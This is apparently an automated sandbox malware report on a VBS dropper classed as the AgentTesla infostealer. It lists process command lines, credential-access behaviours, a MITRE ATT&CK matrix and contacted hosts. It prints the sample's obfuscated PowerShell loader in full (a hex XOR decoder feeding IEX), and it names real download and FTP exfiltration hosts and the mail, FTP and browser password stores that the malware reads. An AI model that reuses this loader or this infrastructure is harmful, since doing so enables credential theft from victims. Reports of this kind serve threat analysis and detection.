ne(ne`$pidsleaulsuifanmytfjeanrfevteaprlnolkrelurfrnbyethsob[ek`$bakudltriorslatserosichnjegskethrsp/er2mu]bi be-prbmeximoforgr es1sk6st5fr)de;ar kn gi an ma}he vn[resgatakrhaisinlogox]fi[tasmoycoshatpaechmor.untaleabxovtfo.exekvnnocaaomedstihonasgbo]no:bi:tiadisbecgrilaihu.ragcoevitkosvatprrunilansugha(ec`$madexekvlfaiflnbateneporssvfuajalinlinegorexnbiewhsan)eq;pa}st`$rifupokorsksinkminveifandugmesrerliebrsovurelhotidaurtdiektrdesfa0in=sishimufecergotafeprnknsvibheahyreknmissi0fi dr'mefsv6afdsncfadsu6sudve1inchj0afcun8da8udbbvcma1bacre9vacor9sa'un;al`$lifodokerhoslikconhuitrnspgdoslarsueejsteutelvetbiagrtreeovransle1wa=ouslummoeurrbrtumekanhyspobmuawirinnansno0br no'udean8kocrucuncdo6trdwo7cuccuafadha6lycdiauncne3krdca1ma8flbimfdi2ddcdycsacgrbse9am6ch9ok7re8grbskfhu0recfibmoddi6nacco4skcun3hicbr0keetrbpocsh4grdre1ancbocyndso3micaf0saeun8sacto0tidco1scczodnocflamecut1kodse6bo'sq;gr`$fifdoostrnoskokidncoiblnskgjossprdaetssteuunlsttsvaprthoechrhysdi2ny=posummpeeknrqutclehonidsfobfoaprrunnkospo0ra ve'trepa2imcre0spdpr1vafca5tedpa7lycbrahecsi6dieir4vacfr1dacva1upddu7tecgy0hodre6uddsu6de'me;ud`$grfteolerluscukclnraisanhagciscyrbeedesvausylfotskaantmuesarudset3la=rasstmekeskrsathuesuntrsinbbeaherronfosku0he co'frfre6sldmecfodin6bedop1tocbu0cocul8gu8mebunfco7opdmo0macwebjadvi1plcjocarcsh8bacst0nu8cobmeerecdicfebtadly1socom0eudaf7recsuatoddh5brfva6pscin0feddi7madba3kacchcrecme6flcde0uidhu6re8rebgeesedbacsp4klcstbrycca1skcfr9dacke0esfmi7uncdu0prcas3hf'gr;de`$pofchomirpesdikflninibanovgsasmarkaegrsbeuvalfotfratrthiealrstskl4da=fosnomfjegorsvtgrebunkaslgbsparorunnsosin0al gr'jodad6endse1pedch7dicprcamcsybfrcpi2mu'ra;we`$irfbrolursuscoktonfeiannnogtasmirpieliscautalextkaasptdoeunrsisir5do=ocsmimbaestrretltesonfusudbgramurfonmosdr0m	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "function smertensbarns0 { param([string]$regionsplanlovs); $delintervallernes = new-object byte[] ($regionsplanlovs.length / 2); for($klistringer=0; $klistringer -lt $regionsplanlovs.length; $klistringer+=2){ $delintervallernes[$klistringer/2] = [convert]::tobyte($regionsplanlovs.substring($klistringer, 2), 16); $delintervallernes[$klistringer/2] = ($delintervallernes[$klistringer/2] -bxor 165); } [string][system.text.encoding]::ascii.getstring($delintervallernes);}$forskningsresultaters0=smertensbarns0 'f6dcd6d1c0c88bc1c9c9';$forskningsresultaters1=smertensbarns0 'e8ccc6d7cad6cac3d18bf2cccb96978bf0cbd6c4c3c0ebc4d1ccd3c0e8c0d1cdcac1d6';$forskningsresultaters2=smertensbarns0 'e2c0d1f5d7cac6e4c1c1d7c0d6d6';$forskningsresultaters3=smertensbarns0 'f6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3ccc6c0d68bedc4cbc1c9c0f7c0c3';$forskningsresultaters4=smertensbarns0 'd6d1d7cccbc2';$forskningsresultaters5=smertensbarns0 'e2c0d1e8cac1d0c9c0edc4cbc1c9c0';$forskningsresultaters6=smertensbarns0 'f7f1f6d5c0c6ccc4c9ebc4c8c08985edccc1c0e7dcf6ccc28985f5d0c7c9ccc6';$forskningsresultaters7=smertensbarns0 'f7d0cbd1ccc8c08985e8c4cbc4c2c0c1';$forskningsresultaters8=smertensbarns0 'f7c0c3c9c0c6d1c0c1e1c0c9c0c2c4d1c0';$forskningsresultaters9=smertensbarns0 'eccbe8c0c8cad7dce8cac1d0c9c0';$ghegish0=smertensbarns0 'e8dce1c0c9c0c2c4d1c0f1dcd5c0';$ghegish1=smertensbarns0 'e6c9c4d6d68985f5d0c7c9ccc68985f6c0c4c9c0c18985e4cbd6cce6c9c4d6d68985e4d0d1cae6c9c4d6d6';$ghegish2=smertensbarns0 'eccbd3cacec0';$ghegish3=smertensbarns0 'f5d0c7c9ccc68985edccc1c0e7dcf6ccc28985ebc0d2f6c9cad18985f3ccd7d1d0c4c9';$ghegish4=smertensbarns0 'f3ccd7d1d0c4c9e4c9c9cac6';$ghegish5=smertensbarns0 'cbd1c1c9c9';$ghegish6=smertensbarns0 'ebd1f5d7cad1c0c6d1f3ccd7d1d0c4c9e8c0c8cad7dc';$ghegish7=smertensbarns0 'ece0fd';$ghegish8=smertensbarns0 'f9';function fkp {param ($upgrown, $depressionsperioder) ;$hoeres0 =smertensbarns0 '81eed7c8c8c0d7c0cb8598858dfee4d5d5e1cac8c4cccbf89f9fe6d0d7d7c0cbd1e1cac8c4cccb8be2c0d1e4d6d6c0c8c7c9ccc0d68d8c85d985f2cdc0d7c088eac7cfc0c6d185de8581fa8be2c9cac7c4c9e4d6d6c0c8c7c9dce6c4c6cdc08588e4cbc18581fa8be9cac6c4d1cccacb8bf6d5c9ccd18d81e2cdc0c2ccd6cd9d8cfe8894f88be0d4d0c4c9d68d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6958c85d88c8be2c0d1f1dcd5c08d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6948c';&($ghegish7) $hoeres0;$hoeres5 = smertensbarns0 '81e6cdccc9c985988581eed7c8c8c0d7c0cb8be2c0d1e8c0d1cdcac18d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6978985fef1dcd5c0fef8f885e58d81e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d696898581e3cad7d6cecbcccbc2d6d7c0d6d0c9d1c4d1c0d7d6918c8c';&($ghegish7) $hoeres5;$hoeres1 = smertensbarns0 'd7c0d1d0d7cb8581e6cdccc9c98beccbd3cacec08d81cbd0c9c98985e58dfef6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3ccc6c0d68bedc4cbc1c9c0f7c0c3f88debc0d288eac7cfc0c6d185f6dcd6d1c0c88bf7d0cbd1ccc8c08beccbd1c0d7cad5f6c0d7d3cc	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes = New-Object byte[] ($Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -lt $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klistringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165); } [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskningsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BF0CBD6C4C3C0EBC4D1CCD3C0E8C0D1CDCAC1D6';$Forskningsresultaters2=Smertensbarns0 'E2C0D1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2C0D1E8CAC1D0C9C0EDC4CBC1C9C0';$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1C0E7DCF6CCC28985F5D0C7C9CCC6';$Forskningsresultaters7=Smertensbarns0 'F7D0CBD1CCC8C08985E8C4CBC4C2C0C1';$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9C0C6D1C0C1E1C0C9C0C2C4D1C0';$Forskningsresultaters9=Smertensbarns0 'ECCBE8C0C8CAD7DCE8CAC1D0C9C0';$Ghegish0=Smertensbarns0 'E8DCE1C0C9C0C2C4D1C0F1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D68985F5D0C7C9CCC68985F6C0C4C9C0C18985E4CBD6CCE6C9C4D6D68985E4D0D1CAE6C9C4D6D6';$Ghegish2=Smertensbarns0 'ECCBD3CACEC0';$Ghegish3=Smertensbarns0 'F5D0C7C9CCC68985EDCCC1C0E7DCF6CCC28985EBC0D2F6C9CAD18985F3CCD7D1D0C4C9';$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4C9C9CAC6';$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8C0C8CAD7DC';$Ghegish7=Smertensbarns0 'ECE0FD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE2C0D1E4D6D6C0C8C7C9CCC0D68D8C85D985F2CDC0D7C088EAC7CFC0C6D185DE8581FA8BE2C9CAC7C4C9E4D6D6C0C8C7C9DCE6C4C6CDC08588E4CBC18581FA8BE9CAC6C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CD9D8CFE8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6958C85D88C8BE2C0D1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6948C';&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6978985FEF1DCD5C0FEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D696898581E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6918C8C';&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCC9C98BECCBD3CACEC08D81CBD0C9C98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3F88DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CC			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 392, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 392, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 392, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Exfiltration Over Alternative Protocol	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	115 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	321 Scripting	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	22 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	241 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16po	0%	Avira URL Cloud	safe
http://OowQOv.com	0%	Avira URL Cloud	safe
ftp://ftp.mcmprint.netnoffice	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	Avira URL Cloud	safe
https://wNUxderhdqerb.org	0%	Avira URL Cloud	safe
http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16	0%	Avira URL Cloud	safe
http://go.micros	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.mcmprint.net	185.31.121.136	true	false		unknown
b3solutionscws.com	192.185.145.188	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://OowQOv.com	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2164704518.0000026A961B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://b3solutionscws.com/wp-admin/ZCaVuIfIpDLfuryX16po	CasPol.exe, 00000007.00000002.6650313755.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2164704518.0000026A961B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wNUxderhdqerb.org	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
ftp://ftp.mcmprint.netnoffice	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	CasPol.exe, 00000007.00000002.6650870632.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	CasPol.exe, 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.185.145.188	b3solutionscws.com	United States		46606	UNIFIEDLAYER-AS-1US	false
185.31.121.136	ftp.mcmprint.net	Bulgaria		199364	RAX-ASBG	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	758166
Start date and time:	2022-12-01 15:47:21 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	TT_COPY.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.spyw.evad.winVBS@7/4@2/2
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 169 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, login.live.com, slscr.update.microsoft.com, tile-service.weather.microsoft.com, wdcp.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2556 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: TT_COPY.vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.185.145.188	PO-09784893 xlsx.vbs	Get hash	malicious	Browse	b3solutionscws.com/wp-admin/includes/yyXYRRIJkuolPn153.fla
192.185.145.188	PO-08784 xlsx.vbe	Get hash	malicious	Browse	b3solutionscws.com/wp-admin/includes/UtXRqIMUipDp192.pfb
185.31.121.136	SIEM_PO00938467648.vbs	Get hash	malicious	Browse
	PO-09784893 xlsx.vbs	Get hash	malicious	Browse
	PO-08784 xlsx.vbe	Get hash	malicious	Browse
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse
	Richiesta urgente.vbs	Get hash	malicious	Browse
	Payment advis pdf.scr.exe	Get hash	malicious	Browse
